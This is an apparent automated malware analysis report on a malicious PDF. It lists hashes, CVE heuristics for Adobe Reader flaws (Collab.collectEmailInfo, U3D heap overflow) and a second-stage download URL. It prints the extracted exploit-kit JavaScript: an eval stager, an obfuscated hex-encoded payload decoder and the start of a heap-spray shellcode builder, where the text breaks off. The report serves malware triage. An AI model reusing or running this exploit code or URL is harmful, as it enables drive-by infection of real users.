Malicious PDF — malware analysis report

Static analysis result for SHA-256 b1ae1aa0207948df…

MALICIOUS

PDF

584.5 KB First seen: 2026-05-04
MD5: 177e4243f3ba722b64c4b630fa4017af SHA-1: 03287d600ecc5af6daf0d35513aa408f1e972d8e SHA-256: b1ae1aa0207948dfef2b1c625aa29833992bda7c8c46b530398fa21e65ff0a77
510 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link

The PDF file contains embedded JavaScript and triggers a critical heuristic related to CVE-2007-5659, specifically using the 'collab.collectEmailInfo' function. This function is known to be used to launch arbitrary code execution. The presence of deobfuscated JavaScript files ('legacy_pdfkit_stage_000.js', 'legacy_pdfkit_stage_001.js') indicates that the script is likely designed to download and execute a second-stage payload. The U3D content also suggests a potential exploit vector.

Machine Learning

  • Nyx PDF Classifier malicious score 0.7722

Heuristics 13

  • Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATE
    PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953
    PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
  • U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED
    PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE
    PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var h_K60Kph_Do = new Array();var a3F_pJy3_8UJwX = 0;var X__V__c7 = "";function A_B_jPObt8I6L(YT0_____bqnX, FD000_O61_kd_rG){var hFhhoxr2Ps_4o = FD000_O61_kd_rG.toString();var d8_kld_B_3H_f = "";for(var J3dv_tgx550 = 0; J3dv_tgx550 < hFhhoxr2Ps_4o.length; J3dv_tgx550++) {var xX5bdl_3g1_T = parseInt(hFhhoxr2Ps_4o.substr(J3dv_tgx550, 1));if (!isNaN(xX5bdl_3g1_T)) {xX5bdl_3g1_T = xX5bdl_3g1_T.toString(16);if (xX5bdl_3g1_T.length == 1) { xX5bdl_3g1_T = "0" + xX5bdl_3g1_T; }else if (xX5bdl_3g1_T.leng …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGER
    OpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ldeqkkmloxk.com/nte/PROX.php/yH8cee2dfbV0100f060006R87006a76102Tc0febd6c203l000c Referenced by PDF JavaScript
    • http://www.iec.chIn PDF document text
    • https://www.verisign.com/repository/RPA0In PDF document text
    • https://www.verisign.com/repository/CPS��In PDF document text
    • https://www.verisign.comIn PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0�In PDF document text
    • https://www.verisign.com/CPSIn PDF document text
    • https://www.verisign.com/repository/CPSIn PDF document text
    • http://www.microsoft.com/truetype/0In PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text
    • https://www.verisign.com/repository/verisignlogo.gif0��In PDF document text
    • https://www.verisign.com/CPS0bIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 12

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0031_000.js pdf-javascript-stream PDF /JS object 31 at offset 0x2CAEA 373 bytes
SHA-256: 068944f8c011a88ab770b45c6de142b9305a1f515d410204d5eadd9ac2b5bfb3
Preview script
First 1,000 lines of the extracted script
em = ''; em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (!em && r) {var z; var y; th = event['tar' + em + 'get'];var e = th[em + 'e'+ em + 'v'+'al']; z = y = th; 
	 y = 0; 	 z['syncAn' + em + 'notS' + 'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;e(s);}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x28063 13354 bytes
SHA-256: 31f8c95e1dd8b29929b7d367ec693402e596175afe222226e60aaf3f286604e3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fl_D_312B(c1_moo_yxE, H___r7b){  var svh__82_Sv_d = 'um' + 'en' + "ts";svh__82_Sv_d = 'a' + 'rg' + svh__82_Sv_d;var y_15FA7Oedg = fl_D_312B[svh__82_Sv_d]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];y_15FA7Oedg = y_15FA7Oedg["t" + "oS" + "t" + "r" + "in" + "g"]();var lh6__wu = 0;try {if (app) {lh6__wu++;lh6__wu++;}} catch(e) { }var GG__j___Ud = new Array();if (c1_moo_yxE) { GG__j___Ud = c1_moo_yxE;} else {var qh5HySb80 = 0;var iL_5__O2nF2tctL = 0;var U2E_6B_1_h4UbS6 = 512;var L3S__w = 52;L3S__w = L3S__w - 4;var j_T__cH__64 = L3S__w + 9;while(iL_5__O2nF2tctL < y_15FA7Oedg.length) {var Q_6XXC_L_1 = 1;var P8I8_70_IM_8Xb = y_15FA7Oedg['c'+'h'+'arC'+'odeAt'](iL_5__O2nF2tctL);if (P8I8_70_IM_8Xb <= j_T__cH__64 && P8I8_70_IM_8Xb >= L3S__w) {if (qh5HySb80 == 4) { qh5HySb80 = 0; }if (isNaN(GG__j___Ud[qh5HySb80])) {GG__j___Ud[qh5HySb80] = 0;}GG__j___Ud[qh5HySb80] += P8I8_70_IM_8Xb;if (GG__j___Ud[qh5HySb80] > 512) {GG__j___Ud[qh5HySb80] -= U2E_6B_1_h4UbS6;}qh5HySb80++;}iL_5__O2nF2tctL++;}}qh5HySb80 = 4;for (var H1aasbL = 0; H1aasbL < 4; H1aasbL++) {if (GG__j___Ud[H1aasbL] > 256) {GG__j___Ud[H1aasbL] -= 256;}}var VEPO___m = 0;var u_4n6BfqpG_3 = "";var t_hR8m = 0;var fn70ehB = 0;var X_5oS_QcYRX61;var Q1hGO1k_dn = 0;while(t_hR8m < H___r7b.length) {var cx_6_Dp = H___r7b.substr(t_hR8m, 1) + "Z";var j___g0QW_N3x7 = parseInt(cx_6_Dp, 16);if (fn70ehB) {X_5oS_QcYRX61 += j___g0QW_N3x7;if (VEPO___m == 4) {VEPO___m -= 4;}var Gw4__XwnWUb_28S = X_5oS_QcYRX61;Gw4__XwnWUb_28S = Gw4__XwnWUb_28S - (1 + Q1hGO1k_dn + 1) * GG__j___Ud[VEPO___m];if (Gw4__XwnWUb_28S < 0) {          var a_Q_3_s = 256;Gw4__XwnWUb_28S = Gw4__XwnWUb_28S - Math['floor'](Gw4__XwnWUb_28S / a_Q_3_s) * 256;}Gw4__XwnWUb_28S = String['from' + 'CharCode'](Gw4__XwnWUb_28S);if (lh6__wu == 2) {u_4n6BfqpG_3 += Gw4__XwnWUb_28S;} else if (lh6__wu == 1) {u_4n6BfqpG_3 += j___g0QW_N3x7;} else {u_4n6BfqpG_3 += t_hR8m;}VEPO___m++;fn70ehB = 0;Q1hGO1k_dn++;} else {fn70ehB = 1;X_5oS_QcYRX61 = j___g0QW_N3x7 * 16;}t_hR8m++;};var abcd=0; ;var R__47W = this;R__47W['ev'+'al'](u_4n6BfqpG_3);}
	fl_D_312B(0, "74B8669A622A3378268A4C7251F73FF22B4732FF61BBF9D4587025520BBE16535017F5ED20CAF8CC4F12DB82279DE76AEE04840A05B1B914E607ABC918829F95F5B7711ADC2D63282BED7FFE1B627E72EFC64679142B47441A8735E0EEEB39C6CE963399F90A2A730477E8EAD8D7E0C2BE66F390BBDA0386E561D313FDD9E1249E3FBAE2E2BAE0B4A80FCF69A6A2700F8EED88CA9A4B97B19CC08B95C66292398CEB830DCE5D71F0BD872585C8346232B27F4345B61F37E4A56214C9A8C3FD526039EF60A9FDD0389771BCD465D706B1A24EFC4F5F8B981F46FFA7CA6C76C4E87D2BBBB24F60782252BFA4107A7B9F0A80B974CD692F875072D47A51764B3BD2488A58F0593F4FBA2B740C351DDCF04D648836BA62F3EDC44A7B0B5D49B4FF46FE34B42A3BDDFBE71F4DF0723A99D87A3D3FD60C1AAEB7D635DDBFDF2496B4A4E6E1675E306A9C292EB451BADE13417BD7A26D80CA03194B199D4DF8CA3B38A7009B4099CD12F961EA48E5EA0D0B08C7F06B10B9BDE2C981DA0FC90AFABBB514E243D3ADE17CC796A433CB5DE6A5B940D5CF75D09356A1C886B7A4829765845EBDAA7BEBB93F36EEBBCD63BEBAF32D4F6E780DFAC5DB50FA7B9130D6A1D627639D6BD4375AADD8E4562ABC028AA8F2B69A46B7815BBACC1D464CD11695A880DB84D77CB27260AA6682FE6F31437284C07AEC92C17E633843438F3E13225E202A568C56DE662A1BA9279E302A2FD3F2021E49FFBA67FFF0C1517B108924E2D33A3D5DB4F7FAE3E0B73843E8A905BAA17122E78FFA2E73B70D3213ABAC2156889124D2B1773173912E1BA780C2115E7CB60DA9634DF23A5E1012B45A11162B00AEBE6FFD5A15CB2C3AF58A282EF1D50FC5D6660A7AC79BBA52A80FB70AE69BDF1DEA3BD3BCD97EB0A1DCFA7C87E894C2F2E2D87CE6C97A97CE9D048D8FA6235D12B7CB4419B94A67E1B8D06AA280475F65C2B94D48B1E309D86F6A35D062CB34637663135999F7DF379764E0B89ED8FEB9A24FA457677BA90B464A8C1E537BACD17D16C0718F8CAD4636DC5CEC423550BD2EFB5592565A778172A6814B67273BD27BBC60ED5FEB51A81667503B2AFF2F314D93FB0F4B00FC9052741A9156EBC0131B17C6E3FAE6A8F60717C8A931B2DC494328C91EEA7878C4F6DF6EA5E2A0A46A1D02A05E194D87F5FEDE82AAEF133285D0872F3A1E0C302E05AE4B16D93841D7E257FF5ABCFBEA22C13F2002F1FE1CF6ED49038DD2DAFE5DF854005FF4D1A016B636DFE6DEAAAAA1A907BB70ADB0B647DC0AB803D98958B6C7C1816D993B505195D6692A8C134FD5B59346B3A9084860829C4E0B76DB39FAA5962EDEA1EBE9ADB478261A86BEF8216937FBE985C0D1894E24A4888FD298239841CD234A65829B592DB5AC3A8D7E5A46FE70EA4F3377E56DBB6EC3613070703AC4761B3D5961241EA05AD959FC47756D8D3B6E2D1C36F2164F0D0049FAE9C11986FA8946A3DD12254AF3EE24D4DFB72E2DB09F3C849E7E2F3AD823389FBD1A1515748CE7987062E0C05D1ADB4848EFE7A83C051B59307AF7CD6379DB3A2B59F4AE50CACDE31692DB74F481ED0AFC4CFF76F122E0C705FCBF3510BFF8E20C8AAF0F0736B5B3DFE5B636D3CDC78C9F9DA61C7C47927AA331A2F1ADF19F738696BBF95D58D5788265D2E93C03C04A67B3B5927398B137103D6E7B10FA7CE413047C87FCC976C3FD52856A132E84F4FFF78E4DD0DF9CA4BEC5A349F78E9CC4E6494EFF98CA6BA9BFD14F1687B1688AAC2B511CB91378728FC36DBA9BA8695F385F26A04750715520DA488A58F0593F4FBA2B740C2A2FD3000D0E71F7FE60FA2CC95E44E15A02BFC0533656FB1C4ECAD0B04244EAB146BBAB3218FAC85029AFBF1AFBE47C95ED4C60AD34F8A61A1B6A582115F381D7D23030B306C66B7C1E3A401009B74D1CE53244D7DFABFC84CD0F3E610A8634FFC7C3D9C00276F7CEFCE40689AE20C213BDCCE6D2A638D3AAD9AADCA7C3EDC86FE09AC43A8EE481BA9B4458DD86F08B5AC1629457AB9751DA7C1B2AA2817F5DA982324F86B3941FFAC7070BF2A56204C9A1F60D737572FD6099EAD9216976EAE996D0B08F4E48E34A89BAEC47730AB51081A291D1512EA2997E56733D93E96F2E8872A4F986BC598A2A38386E39BF6B1D3A425F054B982BD52A2816AE5BAD437E5AD30FF21E47FEBA1BD60495366EDF6241E2F33F1F2EEF0340CAE7B33512F39831B7CD320BE7860AFA5D93EEF9FFAB9DFA829F850BD86B5503718721E7DE4F0100527472D9873577CA181804D67F0EE5EB293FD1CF9607B1E80A2C22C15CDCFCCDFC16B2B62FF08DDADACB5AE54EDF37C39AAE1EE345DBEEE26B9562C0F2C080D1A7B74AA3DC74C38A4058948FAFA77695537F2596D6730DA72C3FDD9FC55BA9833223899CA648376AF8F8C4765FEEA5BF1A289BAA7CDC446DEF1E21AA6614BF67A3B08E4E33B76A898EB0418522B9EB5971CCD78C1EC8A2434BC3644CF76C2946335BCF2EA949CF2C1B434252A25C49351B5F1151A435B155151BA66C9E50716AE805020E52E4CB47BBE3823242FC8915BBFF513144D5F135B5BBE64C3EF0B14A88A5422B02AE0D2EB1B7162D27819FF2436B6FDEC96F771C4180F215B33CB5EF1332772397344ADAFD33540BC3611C10E342A8F667336ED5282E77048230330101D0D8C5660CD1D3D1EE4AE931FC5FBAB5DF29D00394E5E1B6AD78D5F3BB69A46BB4FBE91EAC03D680588AC9D19C9F9A557F69B0A5801FC8527CEA809138B5B93E3548AD7B43397CF33CCB66AA2FACB218F8849D8E061A65C8C825786F11C284D207A46964E75C9AD0B0348546BECA5F63C3B48E2C8C8C79A29A3089149E3D8685990075AF5486756283673CCE4049611538162D891DB56C305CB768ADFC6D3423450A40863BEC25181ED75472209351F1C0673D27EC190BCAE7E3FE4ED1A938B2CF573326CA0E3D8EB708F2CFA1C9365B779DEAB78B59EE3C7B24E7F57FBF2837429B0F907F900B4D1859F59B4BF3D6223FD1D38115A4CBCB0522C697EC2DC2F6E0F5BE6ADFD0EBEDB885C85F0122D4C2F7049E1494EFE8B0DBA5D72FC132C792C40AA5126DD5E07CAA82C7E78B91C4777F3A7EB434FBB92D67ECA6AE5EBE8A1C265E76B63939B01A37E7AB8E329EB5F61F986A370B596EBCFB246775FFBFA8B7C29B8F10BF908BCD98268504DA099BB2BFD153FF8A5A574BBD707B129F2B827858B433FC5D8A432B3D973F9F451A275839E2378719EF2CFC4DA41BB43E4227ECF5472757F9CA0F10F1921B3FD19F18E4D523036CC7ED40D1ADF70C13E0ACF7C8A2450600894FFA6D8E03EB2484CCF75C65A724CA9A5CDF805FF717E541FF18594089D3DC3A500F121D5709B124DBC73810D8049DF9AFFF0DFC35BB942102F7F7D507F46D08BBAFF0FE88EC55B15FB2C6B613A34CACDCAF848DB7A6228C3E97A8B20AD0D8690F9A4F70958B045C60923B456796AA49F27F6039B2B99321BF8506254273BC470DADEBFACB81A52DDC62EA139172611D516FE3F6F68B69CDAA6F93B277A320B44F5A80ED1B56049CCF977C90A74EDCC9734A60782436CA5CEC378869C247B749CF432B51522BE4451A3B13252737872DAA1F4019775B78017F22E30003139CF9001ACBDDD74740E25E07F8D0221127B92F0A9BB8B2FB54B07A0AB595870629943DEFB08905FDDF71DFFA85A196E30C662AF0434D37EDE354BAD7684385DECA298FDA0E2F16CBC4510CDBF905E7D6993A6DBF20F83ACC57E13FF8CAE8F4B37CD48EC0DCBD97EB27C123A7D8B0E2DF1099EFAA7B98729B34C243D7657547A40D7AD28F9068929CF4519F983B502283EC4BEC91202DF78CC332AD77485678837B094F821D09D86BA431A2A7DBE5A76E47ED2D5F00D8F2662FC1FF96AAC8B4535CBC4A5E929D5756FF9F1047B8C6D355EC79AF4F627C393B1474FA464A55073EB757C02F707E833DA4315F6749381423CC27AD2F310DB72E703F4317280102538AE90F1ACBE8930B84E48C12B3C567162AF81DFFE0B8E53912A1BF0785A543F33C9A12FF6E7D17F6E07C9EE7987062EEC7596FEF418E28DBF451EBE25635C7E3983953CF503044DB81111FD7F610A4C3AC0C6ACEDEED77C64FEF2CB70816F3C53CC9CFC1DDD053AB64BE4FE8C6A527B43AAAAE9FC09F77AC22817FAA668005931C74D2CF7D5DD796C2646387785425C1AE392F8C5038B67BD432AD88071587B17D1A3D6F3008DA7A62F1DF7705F062638C172B72ECCD37692FCCBE57E8C487661FA98F5D8EA8124B44A1DA857385E753EA896A3FA07D324BD6613F474996F833FC5C8D3B2B3D97369F722227583116358C19EF2AFC1EA31BB4416C2AE6F547515EF4FD0F10EF941642D19F18BAD627036CF7F1119EADF70613B07DF7C8A74405FD894FFD6D8BD5EB24809D255A65A7F0C76432DF805FF5E8E341FFE7264282D3DC395010411D57DBB01CDEC73818A5D370F9AFCADF2B34BB94F4FAC6C4D507BE37D7BBAFF0D186BD24B15FB799E618A34CA9ABAA838DB7AE21914097A88335A5DC690FA14F70C48B04636295384567C4AC44ED7F6040E48B9521BF8403274873BC4A0F7AEEFD17A968FF9D6718F4637250D96F6ABE09265B74CFBD95A8B5C75E4DE87C4FD0A9128834911F887593AA432C8472515F6D7779019FFB378860C53EEB49CF3E2B7C832BE4721B674525272FBD27DC1F404D792D74017F2A150537139CF6CE1F00DDD74A73DC5D07F8D854142DB92F0ECDB8E5FB54B1AF0AB59587FEFA953DEFB090042A1371DFFA857066E30C972FEA3E4D37EBE47DECD7687385E3A0298F0F115D1ACBC45210082805E7D69C3AA0BF20F867CA84E13FCBCB15F5B37CDCBBF0E0BD97BD54BC4FA7D8E5E4E20F99EFAD7E9F759B34946BD5947547A1DD79FC8F906AC897F0519F9836572283EC48F38F1E2DF7868F328077482746847F094F81EB0FD66BA4FED07504E5A7747AE6605F00DEF76C33C1FF68D5C783535CBA7E60BD9D575C35A20D47B896D455EF79AF505E7A673B14722E4879550744EC56C02F704E573DA3315F3713321823CC28E02FFD0DB728A411421728060A2557E90F1C01EF920B84E06219BCC567142AC7F2FFE0BEB70C14A1BF0887A344F33C9A0C00717D17F9DF81A0E7987362F1C8596FF0415BF2DBF44FC0E52335C7E197374ACF502B18D97F111FD5FB15A4C3AC076ACDE2ED77C955EFFAB708E3C9C438C9CFBDACCB58AB64BF1CB593A527B40AA9AE9FC09E78A9EF817FA8658607931C77D0A04F5DD799C1625D8778532591A7392F8D1B3EE57BD42F7A850315877E771A0D6CF63912B65D1FA178163083A637F11AAFF90D3599600CEF5AC7F184832ABB525ABAAF417B3F9ED26996BFA66820AB6F72797C5780D068EA736B8FF970FB83A23324539867E12C3D612F68084CC442AE2F0053A1645F192A222B04021E57F4CA251119D4065F0B7A3ACF0558FE34B4FE39A0F6E14F4EDBA9079BA6403A2CD2413EA378CCE6E187E02395609D25027930193F8721E8B780AAEF1363B1FACF5A6817292C17DBBA4B18C2F0009AEE962492E6102E2DC697EF02BBCE13D4FE7CDCACE9F2EA42C30FD221E1CBF7FBD42D9CDDBCBBDD7AC81ED35C9E53BB39D9EC7AF99E7A97949EF35565D8649212D1D67319C44A3BB38ABE42C09541104F6E6F5B29961A21D6A58E2B9F8CE42A635E44D42AB2BFD8F2662FCCB361C6EF9E963DD287788FAD17912EDAE588B2D292462DB5AC3A98A7736BD76DEA4F3360CD2EF483CB5F334942428F7F4961426A11318828D940412BB0315F4969630808031952EDBA650317AD1C3FF79A4AE2E4613964F32B2FA3B9DFF61C9CAD14C3E54A2026DB2CEA6678E625E4BAC93B929F91F3DF6A3537888E3724E290F3216130AB00C0696C0B10571AF1AE1F0BE4EB09ED1498465ADF0AFF6B037E073206DD0001C473117AC79BBA44C155FB5CA28BCAE5E24DD3EEE1C39D77A6DF992AA26E701CA10BBAF9DE82B0979BBF4C668234522D7EC1471ED04A7CE9CE94317A7DFE1932C98C4311B32837EDAEA316BAB1D92C9F5E42F11AAFF90D3599600CEF5A95B5C75E4AB47D4FD0A84556328ED35DC0D6D390D7C099795EA76169F39D0C487867B24BA7467C456187942697561D66595F2665CF29AF2AEB2562267AFC5425174631628E3CCF1FCBD89E0646E15A1DA3EA25426DF32E41E3BDB7060AA773F2CEDC712DFAC3391D8FB9E4FC14838AED6060771DCE9D671956903600CF8BC01E604BCF22CF6D8DD83E674E12B04EFD163252D7BE74F47D09173463F84D1F39FEFF15F5024C11BBF3E7E190EC5EB465F5D8E21CB8F7969CA66BD5B5DDF97C76D1928331CDFA98FBAC519D99E3B8678BD2734E55CADC752CAE5475E7A5D47072B3063671BE915D0DA9F32DECBD87F5A5BF0935A0A18B1D69A8AB0F12806209DE67E4C87A9833D27979D3A15D9C30DECA77A290D15616A2997D7A9E3287BF79EA734676F17ED19D8D69336D6C7DC74753680328DA68A342D949430880335F142A18D9F03C3A7523E962BBF4821E3DDD5B0BA31C6EFE61E00839BA00A212FFB378037C908D43269432296CB70127D77E9DEE43625733C7972A1D309DF219AF7FACDE137A9EFCC65392D3165952167D4EFC012253A41668395AD7CB2154EF840E2BC7F2E8DDED3A059CC5DCCB68E55FD663B5C2B807C84ECC9AB76BC9B2E6EDCF6FE687B93FD3F6B90E923D99D2D6BD8E7CC1629324D6A879E2830D34A2878837C7723C563276B13028A90A50C2824F039873D5E952B97D29689DFF1131A41FE2E991C309948D4EF47962B2B0154EF88C2596B5D992992CB36A728A7961750064FC443F50B433FC54BD3A5E3D9736D23C4D240F201C4AA553C972F423B857B1FC6E51FE06211E77F9090AD8D88F1687E36D28C6E635243BCF2E42D4FBB03D44F08B40C1DF8641EFC8391571A7D216E4BB96E2879F7DF4E6644AEF7A54E21ADE67C0012360871D93247E09262E31D69F2119CBFE5D920198489D02D32D2BB69A1F3900061FFEF33514CCF3E90C8EF417AE4BF0D1EF26F1F7D9F2DDB0D8B6DF2ECA2AD7A5C241E0C96DD58A98B5A8C5EE7CA3A4628762BDAF6BF28D1331BDD3D45B7AAA322171ADA80C0B7DE7F8C46BA4FCCD7206E5A76E7AE45D5CB7C82C824DFBD9AA9CCBBB9407AC6F898BD71A851DCB0D719990E347D7CF9B8A9B766582049D3C667C9DF75DFC98825F5A48813ECE5A49653256E26F802FF7774149B416963B3E23063203648AF9102ECD01C3064CCC5A1DF90164FE6AE12A1DB3E1A213FFDDBA4281E07E432EAD483D76BE1138CF74E0239560991DFC934A20548F0722E53CC7D2234B7215C66979FA414149EBBB52CADEE353BF0E7A1C93C8172D70FD932405B2FA0FF7ED570AA3F1C00488B11AB50AFDD9E1249E21A8BFE3AACEABE2327C4792A69D42B1EF9DF5D17A9DC1B6F57591A76F864F8CED792CCD5477F091C8626A7A1D2457B7A64A43B62EF8E066862B9E73F62263B47AE9707EBDF1235F1F17AA89D2C4838149B5908D90EE265818CDCA5F63AAA66320B3A08397BB3D361CB933783358F37EF752D073608F8778C5715C754C6F201E94319A33F91972295F0230120A2F061F7A26CB60FEEDD82A41F58B02BFC02B0C28C7E3FAE6DFE10A10CFAC03C9D347440B96232B5B95C2FFDD7D9DFDA0A998DEBF5522116A5CF309E14D0015288696E0B0653AE6FB310222CB0C0101F711C500684A9DCF210C34DF80DC08CFB3E9C0C030C4D6069BB842A610B441E197B105E008EADDAFC1AC74BF207C46926B704EEAC79BF99E4C8BC497058F5FD847523BBF9752F77A2336B38D881CC6CEF310326E680C31A9EF09F5A86042CD771904648778D4365AC2C83EB21FF3E966A4E3B45F5DE74FA09FAA2B87EFAAE7427A8EA352E07D5A9592984C790C90FF834B58E96DBB55AD6C2C8E853BE5501C4B4429ED7B");
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x28063 5633 bytes
SHA-256: 65a00ede8f2ff835598360d28c4d825c61048536a0319bf4f818aa249b989f58
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var h_K60Kph_Do = new Array();var a3F_pJy3_8UJwX = 0;var X__V__c7 = "";function A_B_jPObt8I6L(YT0_____bqnX, FD000_O61_kd_rG){var hFhhoxr2Ps_4o = FD000_O61_kd_rG.toString();var d8_kld_B_3H_f = "";for(var J3dv_tgx550 = 0; J3dv_tgx550 < hFhhoxr2Ps_4o.length; J3dv_tgx550++) {var xX5bdl_3g1_T = parseInt(hFhhoxr2Ps_4o.substr(J3dv_tgx550, 1));if (!isNaN(xX5bdl_3g1_T)) {xX5bdl_3g1_T = xX5bdl_3g1_T.toString(16);if (xX5bdl_3g1_T.length == 1) { xX5bdl_3g1_T = "0" + xX5bdl_3g1_T; }else if (xX5bdl_3g1_T.length != 2) { xX5bdl_3g1_T = "00"; }d8_kld_B_3H_f = xX5bdl_3g1_T + d8_kld_B_3H_f;}}while(d8_kld_B_3H_f.length < 8) { d8_kld_B_3H_f = "0" + d8_kld_B_3H_f; }var t18L___l7uaeD = YT0_____bqnX.toString(16);if (t18L___l7uaeD.length == 1) { t18L___l7uaeD = "0" + t18L___l7uaeD; }else if (t18L___l7uaeD.length != 2) { t18L___l7uaeD = "00"; }d8_kld_B_3H_f = "3" + t18L___l7uaeD + "P" + d8_kld_B_3H_f;return d8_kld_B_3H_f;}function Ta2UC780_7_Up2(GS_4JiW5XN4Uj1, aX_gbt_H){var L3P_38__SMA7 = new Array("");var b6X0_4 = GS_4JiW5XN4Uj1;var If__1_3wN_d;if ((If__1_3wN_d = GS_4JiW5XN4Uj1.lastIndexOf("%u00")) != -1) {if (If__1_3wN_d + 6 == GS_4JiW5XN4Uj1.length) {L3P_38__SMA7[0] = GS_4JiW5XN4Uj1.substr(If__1_3wN_d + 4, 2);b6X0_4 = GS_4JiW5XN4Uj1.substring(0, If__1_3wN_d);}}If__1_3wN_d = 1;for (J3dv_tgx550 = 0; J3dv_tgx550 < aX_gbt_H.length; J3dv_tgx550++) {var a_0__teM = aX_gbt_H.charCodeAt(J3dv_tgx550).toString(16);if (a_0__teM.length == 1) { a_0__teM = "0" + a_0__teM; }L3P_38__SMA7[If__1_3wN_d] = a_0__teM;If__1_3wN_d++;}J3dv_tgx550 = L3P_38__SMA7[0].length ? 0 : 1;L3P_38__SMA7[If__1_3wN_d] = "00";L3P_38__SMA7[If__1_3wN_d + 1] = "00";If__1_3wN_d += 2;if ((L3P_38__SMA7.length - J3dv_tgx550) % 2) {L3P_38__SMA7[If__1_3wN_d] = "00";}while(J3dv_tgx550 < L3P_38__SMA7.length) {b6X0_4 += "%u" + L3P_38__SMA7[J3dv_tgx550 + 1] + L3P_38__SMA7[J3dv_tgx550];J3dv_tgx550 += 2;}b6X0_4 += "%u0000";return b6X0_4;}function F7_hwIVV(cBpu8R_wR, kgkE6_4__28d){while (cBpu8R_wR.length*2<kgkE6_4__28d) {cBpu8R_wR += cBpu8R_wR;}cBpu8R_wR = cBpu8R_wR.substring(0,kgkE6_4__28d/2);return cBpu8R_wR;}function u_0X_1__a(oU_f__Ee_f4sS_f, U_t87k, W_41Sb1vc5vD2Ia){var wOL_I4___5JAj1 = 0x0c0c0c0c;var cBpu8R_wR = unescape(U_t87k);var aX_gbt_H = A_B_jPObt8I6L(oU_f__Ee_f4sS_f, 